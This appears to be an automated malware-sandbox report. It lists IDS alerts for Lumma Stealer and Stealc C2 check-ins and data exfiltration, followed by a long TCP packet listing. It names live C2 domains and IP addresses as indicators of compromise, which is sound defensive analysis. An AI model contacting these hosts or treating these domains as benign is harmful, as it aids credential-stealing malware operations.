2024-11-08T15:22:26.820846+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.8	54411	1.1.1.1	53	UDP
2024-11-08T15:22:26.846810+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.8	61359	1.1.1.1	53	UDP
2024-11-08T15:22:26.871331+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.8	51713	1.1.1.1	53	UDP
2024-11-08T15:22:26.896771+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.8	56098	1.1.1.1	53	UDP
2024-11-08T15:22:27.526127+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:27.526127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:28.086356+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:28.086356+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49887	188.114.96.3	443	TCP
2024-11-08T15:22:28.749487+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:28.749487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:29.308016+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:29.308016+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-08T15:22:30.481560+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49890	188.114.96.3	443	TCP
2024-11-08T15:22:30.481560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49890	188.114.96.3	443	TCP
2024-11-08T15:22:32.162237+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49892	188.114.96.3	443	TCP
2024-11-08T15:22:32.162237+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49892	188.114.96.3	443	TCP
2024-11-08T15:22:33.981779+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49893	188.114.96.3	443	TCP
2024-11-08T15:22:33.981779+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49893	188.114.96.3	443	TCP
2024-11-08T15:22:36.105146+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49895	188.114.96.3	443	TCP
2024-11-08T15:22:36.105146+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49895	188.114.96.3	443	TCP
2024-11-08T15:22:36.596614+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49895	188.114.96.3	443	TCP
2024-11-08T15:22:36.844110+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49896	185.215.113.206	80	TCP
2024-11-08T15:22:37.769894+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49898	188.114.96.3	443	TCP
2024-11-08T15:22:37.769894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49898	188.114.96.3	443	TCP
2024-11-08T15:22:37.774765+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49898	188.114.96.3	443	TCP
2024-11-08T15:22:40.063796+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.8	49900	188.114.96.3	443	TCP
2024-11-08T15:22:40.063796+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49900	188.114.96.3	443	TCP
2024-11-08T15:22:40.551903+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49900	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 8, 2024 15:20:29.172743082 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.176733017 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.181582928 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.184050083 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.184084892 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.184098959 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.184160948 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.187658072 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.187752962 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.188314915 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.188520908 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.192850113 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.193651915 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.310583115 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.314203978 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.322058916 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.322777033 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.322863102 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.322928905 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.322941065 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.323038101 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.324806929 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.326020956 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.326334953 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.327040911 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.327367067 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.331609011 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.332201004 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.446770906 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.451093912 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.461154938 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.461205959 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.461271048 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.462728977 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.462790012 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.462860107 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.465178013 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.465202093 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.466000080 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.466217041 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.470084906 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.471024036 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.584817886 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.589301109 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.597768068 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.597815990 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.597871065 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.600070953 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.600110054 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.600157976 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.604068995 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.605437040 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.606272936 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.607091904 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.610846996 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.612634897 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.722196102 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.725960970 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.738037109 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.739398003 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.739475965 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.739526033 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.739762068 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.739825010 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.743871927 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.745011091 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.745974064 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.747158051 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.750061035 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.752119064 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.858565092 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.861826897 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.876156092 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.877304077 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.877392054 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.878093004 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.880008936 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.880085945 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.880698919 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.881515026 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.882241011 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.883915901 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:29.886358976 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.888731003 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.901973009 CET	49673	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:20:29.994482994 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:29.998302937 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.014348984 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.014364958 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.014590979 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.015162945 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.017575026 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.017656088 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.019891024 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.019972086 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.020355940 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.020420074 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.022238016 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.022342920 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.022764921 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.027271986 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.130911112 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.149898052 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.150047064 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.150278091 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.154479980 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.154490948 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.154578924 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.154654026 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.154699087 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.183243036 CET	49672	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:20:30.454092026 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.463483095 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.468249083 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.474034071 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.474767923 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.475645065 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.479769945 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.522236109 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.589167118 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.597994089 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.598124981 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.608655930 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.609709024 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.609803915 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.612732887 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.651988029 CET	49677	80	192.168.2.8	192.229.211.108
Nov 8, 2024 15:20:30.659729958 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.664573908 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.667202950 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.669759035 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.672044992 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.674644947 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.680157900 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.680430889 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.685275078 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.685286999 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.792804003 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.804280996 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.804495096 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.804626942 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.818125963 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.835489988 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.843133926 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.843151093 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.843249083 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.849807024 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.854818106 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.870024920 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.894062996 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.899333954 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.965572119 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.974939108 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:30.975063086 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:30.982711077 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.002697945 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.002739906 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.002800941 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.025044918 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.026523113 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.030299902 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.034388065 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.035171032 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.036976099 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.041896105 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.135117054 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.157557964 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.157689095 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.162169933 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.163733959 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.166621923 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.166711092 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.169245958 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.185837030 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.186168909 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.187750101 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.188213110 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.191746950 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.193224907 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.294439077 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.319118977 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.319271088 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.319278002 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.320082903 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.320151091 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.323149920 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.370716095 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.431817055 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.436738968 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.438380957 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.438411951 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.439604998 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.442150116 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.443682909 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.490278959 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.564917088 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.568456888 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.572830915 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.572853088 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.572931051 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.573467016 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.574455023 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.577997923 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.580059052 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.580967903 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.581543922 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.585127115 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.586574078 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.701898098 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.705005884 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.711616993 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.712176085 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.712258101 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.714845896 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.714910030 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.714963913 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.716094017 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.718982935 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.720779896 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.722023964 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.723902941 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.726994991 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.844046116 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.848380089 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.848438025 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.848503113 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.850451946 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.851151943 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.853076935 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.853435040 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.853498936 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.853835106 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.853885889 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.855741978 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.855880022 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.857779026 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.860559940 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.910253048 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.982033968 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.982131958 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.982144117 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.982193947 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.982928038 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.982983112 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.985609055 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.985624075 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.985668898 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.985677958 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.985706091 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.985719919 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.985740900 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.987931013 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.991177082 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.991193056 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.991204977 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:31.991260052 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.993309975 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:31.993407011 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.000700951 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.118942022 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.119069099 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.119157076 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.122641087 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.122648001 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.122910976 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.124674082 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.127401114 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.127475023 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.127667904 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.129426956 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.129728079 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.174581051 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.183239937 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.255259037 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.255286932 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.255439997 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:32.257045984 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.261990070 CET	443	49704	13.107.253.45	192.168.2.8
Nov 8, 2024 15:20:32.262074947 CET	49704	443	192.168.2.8	13.107.253.45
Nov 8, 2024 15:20:38.052468061 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:38.057272911 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:38.057460070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:38.057647943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:38.062720060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:38.652019024 CET	49676	443	192.168.2.8	52.182.143.211
